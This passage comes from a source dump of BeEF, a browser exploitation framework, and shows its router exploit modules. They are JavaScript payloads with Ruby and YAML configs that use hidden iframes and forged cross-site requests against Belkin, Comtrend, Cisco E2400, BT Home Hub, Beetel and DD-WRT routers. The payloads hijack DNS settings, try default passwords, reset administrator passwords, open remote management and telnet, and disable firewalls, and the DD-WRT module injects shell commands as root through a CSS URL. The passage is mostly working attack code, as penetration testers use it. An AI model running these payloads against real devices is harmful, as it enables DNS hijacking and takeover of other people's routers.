    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// config\n\tvar target  = 'http://<%= @rhost %>/dnscfg.cgi';\n\tvar dns1    = '<%= @dns1 %>';\n\tvar dns2    = '<%= @dns2 %>';\n\tvar timeout = 15;\n\n\t// validate DNS server IP addresses\n\tif (!beef.net.is_valid_ip(dns1)) {\n\t\tbeef.debug('Invalid Primary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Primary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tif (!beef.net.is_valid_ip(dns2)) {\n\t\tbeef.debug('Invalid Secondary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Secondary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\n        // change DNS\n        var beetel_bcm96338_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, \"GET\", \"application/x-www-form-urlencoded\", [\n                {'type':'hidden', 'name':'dnsPrimary',   'value': dns1},\n                {'type':'hidden', 'name':'dnsSecondary', 'value': dns2},\n                {'type':'hidden', 'name':'dnsDynamic', 'value': '0'},\n                {'type':'hidden', 'name':'dnsRefresh', 'value': '1'}\n        ]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(beetel_bcm96338_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/beetel_bcm96338_router_dns_hijack/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# References:\n# https://www.exploit-db.com/exploits/42196/\n#\nbeef:\n    module:\n        beetel_bcm96338_router_dns_hijack:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Beetel BCM96338 Router DNS Hijack\"\n            description: \"Attempts to change the DNS setting on a Beetel BCM96338 router.<br/><br/>This router reportedly does not require authentication to change the DNS servers.<br/><br/>This module has not been tested.\"\n            authors: [\"Todor Donev\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/beetel_bcm96338_router_dns_hijack/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Beetel_bcm96338_router_dns_hijack < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },\n      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },\n      { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/belkin_dns_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// config\n\tvar proto   = 'http'\n\tvar rhost   = '<%= @rhost %>'; \n\tvar dns1    = '<%= @dns1 %>';\n\tvar dns2    = '<%= @dns2 %>';\n\tvar timeout = 15;\n\n\t// validate primary DNS server IP address\n\tif (!beef.net.is_valid_ip(dns1)) {\n\t\tbeef.debug('Invalid Primary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Primary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tvar parts = dns1.split('.');\n\tvar dns1_1 = parts[0];\n\tvar dns1_2 = parts[1];\n\tvar dns1_3 = parts[2];\n\tvar dns1_4 = parts[3];\n\n\t// validate secondary DNS server IP address\n\tif (!beef.net.is_valid_ip(dns2)) {\n\t\tbeef.debug('Invalid Secondary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Secondary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tvar parts = dns2.split('.');\n\tvar dns2_1 = parts[0];\n\tvar dns2_2 = parts[1];\n\tvar dns2_3 = parts[2];\n\tvar dns2_4 = parts[3];\n\n\t// attempt auth with default password (admin)\n\t// incorrect login attempts do not log out an authenticated session\n\tvar img = new Image();\n\timg.setAttribute(\"style\", \"visibility:hidden\");\n\timg.setAttribute(\"width\", \"0\");\n\timg.setAttribute(\"height\",\"0\");\n\timg.id = 'belkin_auth_<%= @command_id %>';\n\timg.src = proto + '://' + rhost + \"/cgi-bin/login.exe?pws=admin\";\n\tdocument.body.appendChild(img);\n\n\t// change DNS\n\tvar belkin_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(proto + '://' + rhost + '/cgi-bin/setup_dns.exe', \"POST\", \"application/x-www-form-urlencoded\", [\n\t\t{'type':'hidden', 'name':'dns1_1',   'value':dns1_1},\n\t\t{'type':'hidden', 'name':'dns1_2',   'value':dns1_2},\n\t\t{'type':'hidden', 'name':'dns1_3',   'value':dns1_3},\n\t\t{'type':'hidden', 'name':'dns1_4',   'value':dns1_4},\n\t\t{'type':'hidden', 'name':'dns2_1',   'value':dns2_1},\n\t\t{'type':'hidden', 'name':'dns2_2',   'value':dns2_2},\n\t\t{'type':'hidden', 'name':'dns2_3',   'value':dns2_3},\n\t\t{'type':'hidden', 'name':'dns2_4',   'value':dns2_4},\n\t\t{'type':'hidden', 'name':'dns2_1_t', 'value':dns2_1},\n\t\t{'type':'hidden', 'name':'dns2_2_t', 'value':dns2_2},\n\t\t{'type':'hidden', 'name':'dns2_3_t', 'value':dns2_3},\n\t\t{'type':'hidden', 'name':'dns2_4_t', 'value':dns2_4},\n\t\t{'type':'hidden', 'name':'auto_from_isp', 'value':'0'} // disable dns from ISP\n\t]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(belkin_iframe_<%= @command_id %>);\n\t\tdocument.body.removeChild(belkin_auth_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/belkin_dns_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# Tested on F1PI242EGau_V1.00.002 and F1PI242EGau_V1.00.009\n#\nbeef:\n    module:\n        belkin_dns_csrf:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Belkin DNS Hijack CSRF\"\n            description: \"Attempts to change the DNS setting on a Belkin router.<br/><br/>Multiple models are affected, including F5D7230 and F1PI242EG.\"\n            authors: [\"bcoles\"]\n            target:\n                user_notify: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/belkin_dns_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Belkin_dns_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '10.1.1.1' },\n      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },\n      { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/bt_home_hub_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var gateway = '<%= @base %>'; \n  var passwd  = '<%= @password %>';\n  var timeout = 15;\n\n  var bt_home_hub_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + \"/cgi/b/ras//?ce=1&be=1&l0=5&l1=5\", \"POST\", \"application/x-www-form-urlencoded\", [\n    {'type':'hidden', 'name':'0',  'value':'31'} ,\n    {'type':'hidden', 'name':'1',  'value':''},\n    {'type':'hidden', 'name':'30', 'value':passwd}\n  ]);\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(bt_home_hub_iframe_<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/bt_home_hub_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        bt_home_hub_csrf:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"BT Home Hub CSRF\"\n            description: \"Attempts to enable remote administration and change the tech password on a BT Home Hub wireless router.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/bt_home_hub_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Bt_home_hub_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.254/' },\n      { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/cisco_e2400_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var gateway = '<%= @base %>'; \n  var passwd  = '<%= @password %>';\n  var timeout = 15;\n\n  var cisco_e2400_iframe1_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + \"apply.cgi\", \"POST\", \"application/x-www-form-urlencoded\",\n      [\n       {'type':'hidden', 'name':'submit_button',     'value':'Management'},\n       {'type':'hidden', 'name':'change_action',     'value':''},\n       {'type':'hidden', 'name':'action',            'value':'Apply'},\n       {'type':'hidden', 'name':'PasswdModify',      'value':'0'},\n       {'type':'hidden', 'name':'http_enable',       'value':'1'},\n       {'type':'hidden', 'name':'https_enable',      'value':'1'},\n       {'type':'hidden', 'name':'ctm404_enable',     'value':''},\n       {'type':'hidden', 'name':'remote_mgt_https',  'value':'1'},\n       {'type':'hidden', 'name':'wait_time',         'value':'4'},\n       {'type':'hidden', 'name':'need_reboot',       'value':'0'},\n       {'type':'hidden', 'name':'http_passwd',       'value':passwd},\n       {'type':'hidden', 'name':'http_passwdConfirm','value':passwd},\n       {'type':'hidden', 'name':'_http_enable',      'value':'1'},\n       {'type':'hidden', 'name':'_https_enable',     'value':'1'},\n       {'type':'hidden', 'name':'web_wl_filter',     'value':'0'},\n       {'type':'hidden', 'name':'remote_management', 'value':'1'},\n       {'type':'hidden', 'name':'_remote_mgt_https', 'value':'1'},\n       {'type':'hidden', 'name':'remote_upgrade',    'value':'1'},\n       {'type':'hidden', 'name':'remote_ip_any',     'value':'1'},\n       {'type':'hidden', 'name':'http_wanport',      'value':'8080'},\n       {'type':'hidden', 'name':'nf_alg_sip',        'value':'0'},\n       {'type':'hidden', 'name':'ctf_disable',       'value':'0'},\n       {'type':'hidden', 'name':'upnp_enable',       'value':'1'},\n       {'type':'hidden', 'name':'upnp_config',       'value':'0'},\n       {'type':'hidden', 'name':'upnp_internet_dis', 'value':'0'},\n      ]);\n\n  var cisco_e2400_iframe2_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + \"apply.cgi\", \"POST\", \"application/x-www-form-urlencoded\",\n      [\n       {'type':'hidden', 'name':'submit_button',       'value':'Firewall'},\n       {'type':'hidden', 'name':'change_action',       'value':''},\n       {'type':'hidden', 'name':'action',              'value':'Apply'},\n       {'type':'hidden', 'name':'block_wan',           'value':'0'},\n       {'type':'hidden', 'name':'block_loopback',      'value':'0'},\n       {'type':'hidden', 'name':'multicast_pass',      'value':'1'},\n       {'type':'hidden', 'name':'ipv6_multicast_pass', 'value':'1'},\n       {'type':'hidden', 'name':'ident_pass',          'value':'0'},\n       {'type':'hidden', 'name':'block_cookie',        'value':'0'},\n       {'type':'hidden', 'name':'block_java',          'value':'0'},\n       {'type':'hidden', 'name':'block_proxy',         'value':'0'},\n       {'type':'hidden', 'name':'block_activex',       'value':'0'},\n       {'type':'hidden', 'name':'wait_time',           'value':'3'},\n       {'type':'hidden', 'name':'ipv6_filter',         'value':'off'},\n       {'type':'hidden', 'name':'filter',              'value':'off'}\n      ]);\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(cisco_e2400_iframe1_<%= @command_id %>);\n    document.body.removeChild(cisco_e2400_iframe2_<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/cisco_e2400_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        cisco_e2400_csrf:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Cisco E2400 CSRF\"\n            description: \"Attempts to enable remote administration on HTTPS port 443, disable the firewall, and change the password on a Cisco/Linksys E2400 router.\"\n            authors: [\"bcoles\", \"n0x00\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/cisco_e2400_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Cisco_e2400_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.100.2/' },\n      { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/comtrend_ct5367_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var gateway = '<%= @base %>'; \n  var passwd  = '<%= @password %>';\n  var timeout = 15;\n\n  var ct5367_iframe1_<%= @command_id %> = beef.dom.createInvisibleIframe();\n  ct5367_iframe1_<%= @command_id %>.setAttribute('src', gateway+'scsrvcntr.cmd?action=save&ftp=1&ftp=3&http=1&http=3&icmp=1&snmp=1&snmp=3&ssh=1&ssh=3&telnet=1&telnet=3&tftp=1&tftp=3');\n\n  var ct5367_iframe2_<%= @command_id %> = beef.dom.createInvisibleIframe();\n\n  var form = document.createElement('form');\n  form.setAttribute('action', gateway + \"password.cgi\");\n  form.setAttribute('method', 'post');\n\n  var input = null;\n\n  input = document.createElement('input');\n  input.setAttribute('type', 'hidden');\n  input.setAttribute('name', 'sptPassword');\n  input.setAttribute('value', passwd);\n  form.appendChild(input);\n\n  input = document.createElement('input');\n  input.setAttribute('type', 'hidden');\n  input.setAttribute('name', 'usrPassword');\n  input.setAttribute('value', passwd);\n  form.appendChild(input);\n\n  input = document.createElement('input');\n  input.setAttribute('type', 'hidden');\n  input.setAttribute('name', 'sysPassword');\n  input.setAttribute('value', passwd);\n  form.appendChild(input);\n\n  ct5367_iframe2_<%= @command_id %>.contentWindow.document.body.appendChild(form);\n  form.submit();\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(ct5367_iframe1_<%= @command_id %>);\n    document.body.removeChild(ct5367_iframe2_<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/comtrend_ct5367_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        comtrend_ct5367_csrf:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Comtrend CT-5367 CSRF\"\n            description: \"Attempts to enable remote administration and change the password on a Comtrend CT-5367 router.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/comtrend_ct5367_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Comtrend_ct5367_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.1/' },\n      { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/comtrend_ct5624_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var gateway = '<%= @base %>'; \n  var passwd  = '<%= @password %>';\n  var timeout = 15;\n\n  var ct5367_iframe1_<%= @command_id %> = beef.dom.createInvisibleIframe();\n  ct5367_iframe1_<%= @command_id %>.setAttribute('src', gateway+'scsrvcntr.cmd?action=save&ftp=1&ftp=3&http=1&http=3&icmp=1&snmp=1&snmp=3&ssh=1&ssh=3&telnet=1&telnet=3&tftp=1&tftp=3');\n\n  var ct5367_iframe2_<%= @command_id %> = beef.dom.createInvisibleIframe();\n  ct5367_iframe2_<%= @command_id %>.setAttribute('src', gateway+'/password.cgi?usrPassword='+passwd+'&sysPassword='+passwd+'&sptPassword='+passwd);\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(ct5367_iframe1_<%= @command_id %>);\n    document.body.removeChild(ct5367_iframe2_<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/comtrend_ct5624_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        comtrend_ct5624_csrf:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Comtrend CT-5624 CSRF\"\n            description: \"Attempts to enable remote administration and change the password on a Comtrend CT-5624 router.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/comtrend_ct5624_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Comtrend_ct5624_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.1/' },\n      { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/comtrend_ct_series_dns_hijack/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// config\n\tvar target  = 'http://<%= @rhost %>/dnscfg.cgi';\n\tvar dns1    = '<%= @dns1 %>';\n\tvar dns2    = '<%= @dns2 %>';\n\tvar timeout = 15;\n\n\t// validate DNS server IP addresses\n\tif (!beef.net.is_valid_ip(dns1)) {\n\t\tbeef.debug('Invalid Primary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Primary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tif (!beef.net.is_valid_ip(dns2)) {\n\t\tbeef.debug('Invalid Secondary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Secondary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\n        // change DNS\n        var comtrend_ct_series_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, \"GET\", \"application/x-www-form-urlencoded\", [\n                {'type':'hidden', 'name':'dnsPrimary',   'value': dns1},\n                {'type':'hidden', 'name':'dnsSecondary', 'value': dns2},\n                {'type':'hidden', 'name':'dnsDynamic', 'value': '0'},\n                {'type':'hidden', 'name':'dnsRefresh', 'value': '1'}\n        ]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(comtrend_ct_series_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/comtrend_ct_series_dns_hijack/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# References:\n# https://www.exploit-db.com/exploits/40372/\n#\nbeef:\n    module:\n        comtrend_ct_series_dns_hijack:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Comtrend CT Series Router DNS Hijack\"\n            description: \"Attempts to change the DNS setting on Comtrend CT-5367 and CT-5624 routers.<br/><br/>These routers reportedly does not require authentication to change the DNS servers.<br/><br/>This module has not been tested.\"\n            authors: [\"Todor Donev\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/comtrend_ct_series_dns_hijack/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Comtrend_ct_series_dns_hijack < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },\n      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },\n      { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/ddwrt_v24_sp1_cmd_exec/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n    var host = '<%= @host %>';\n    var cmd  = '<%= @cmd %>';\n    var path = 'cgi-bin/;';\n\n    if (!host.match(/\\/$/))\n        host += '/';\n\n    if (cmd.indexOf(' ') != -1)\n        cmd = cmd.replace(/\\s+/g, '$IFS');\n\n    // Prevent auth dialog by generating the request via a CSS URL instead of an invisible iframe.\n    var ddwrt_div_<%= @command_id %> = document.createElement('div');\n    ddwrt_div_<%= @command_id %>.setAttribute('style', 'background-image: url(\"' + host + path + cmd + '\")');\n    document.body.appendChild(ddwrt_div_<%= @command_id %>);\n\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=exploit attempted');\n\n    setTimeout(function() { document.body.removeChild(ddwrt_div_<%= @command_id %>) }, 15 * 1000);\n});\n"
  },
  {
    "path": "modules/exploits/router/ddwrt_v24_sp1_cmd_exec/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        ddwrt_v24_sp1_cmd_exec:\n            enable: true\n            category: ['Exploits', 'Router']\n            name: 'DD-WRT v24 SP1 Command Execution'\n            description: 'DD-WRT v24 SP1 fails to properly handle metacharacters in the\n                HTTP management interface. This module abuses that flaw by injecting\n                metacharacters to allow an unauthenticated attacker to execute arbitrary\n                commands as the root user.'\n            authors: ['soh_cah_toa']\n            target:\n                working: ['ALL']\n"
  },
  {
    "path": "modules/exploits/router/ddwrt_v24_sp1_cmd_exec/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Ddwrt_v24_sp1_cmd_exec < BeEF::Core::Command\n  def self.options\n    [\n      {\n        'name' => 'host',\n        'ui_label' => 'Router web root',\n        'value' => 'http://192.168.1.1/'\n      },\n      {\n        'name' => 'cmd',\n        'ui_label' => 'Command',\n        'value' => 'reboot'\n      }\n    ]\n  end\n\n  def post_execute\n    save('result' => @datastore['result'])\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/ddwrt_v24_sp1_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n    var host     = '<%= @host %>';\n    var password = '<%= @password %>';\n    var port     = '<%= @port %>';\n    var telnet   = '<%= @telnet %>';\n    var path     = 'apply.cgi';\n\n    if (!host.match(/\\/$/))\n        host += '/';\n\n    var ddwrt_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(\n        host + path,\n        'POST', 'application/x-www-form-urlencoded', [\n        { 'type': 'hidden', 'name': 'submit_button', 'value': 'Management' },\n        { 'type': 'hidden', 'name': 'action', 'value': 'ApplyTake' },\n        { 'type': 'hidden', 'name': 'change_action', 'value': '' },\n        { 'type': 'hidden', 'name': 'submit_type', 'value': '' },\n        { 'type': 'hidden', 'name': 'commit', 'value': '1' },\n        { 'type': 'hidden', 'name': 'PasswdModify', 'value': '0' },\n        { 'type': 'hidden', 'name': 'remote_mgt_https', 'value': '' },\n        { 'type': 'hidden', 'name': 'http_enable', 'value': '1' },\n        { 'type': 'hidden', 'name': 'info_passwd', 'value': '0' },\n        { 'type': 'hidden', 'name': 'https_enable', 'value': '' },\n        { 'type': 'hidden', 'name': 'http_username', 'value': 'root' },\n        { 'type': 'hidden', 'name': 'http_passwd', 'value': password },\n        { 'type': 'hidden', 'name': 'http_passwdConfirm', 'value': password },\n        { 'type': 'hidden', 'name': '_http_enable', 'value': '1' },\n        { 'type': 'hidden', 'name': 'refresh_time', 'value': '3' },\n        { 'type': 'hidden', 'name': 'status_auth', 'value': '1' },\n        { 'type': 'hidden', 'name': 'maskmac', 'value': '1' },\n        { 'type': 'hidden', 'name': 'remote_management', 'value': '1' },\n        { 'type': 'hidden', 'name': 'http_wanport', 'value': port },\n        { 'type': 'hidden', 'name': 'remote_mgt_telnet', 'value': '1' },\n        { 'type': 'hidden', 'name': 'telnet_wanport', 'value': telnet },\n        { 'type': 'hidden', 'name': 'boot_wait', 'value': 'on' },\n        { 'type': 'hidden', 'name': 'cron_enable', 'value': '1' },\n        { 'type': 'hidden', 'name': 'cron_jobs', 'value': '' },\n        { 'type': 'hidden', 'name': 'loopback_enable', 'value': '1' },\n        { 'type': 'hidden', 'name': 'nas_enable', 'value': '1' },\n        { 'type': 'hidden', 'name': 'resetbutton_enable', 'value': '1' },\n        { 'type': 'hidden', 'name': 'zebra_enable', 'value': '1' },\n        { 'type': 'hidden', 'name': 'ip_conntrack_max', 'value': '512' },\n        { 'type': 'hidden', 'name': 'ip_conntrack_tcp_timeouts', 'value': '3600' },\n        { 'type': 'hidden', 'name': 'ip_conntrack_udp_timeouts', 'value': '120' },\n        { 'type': 'hidden', 'name': 'overclocking', 'value': '200' }\n    ]);\n\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=exploit attempted');\n\n    setTimeout(function() { document.body.removeChild(ddwrt_iframe_<%= @command_id %>) }, 15 * 1000);\n});\n"
  },
  {
    "path": "modules/exploits/router/ddwrt_v24_sp1_csrf/config.yaml",
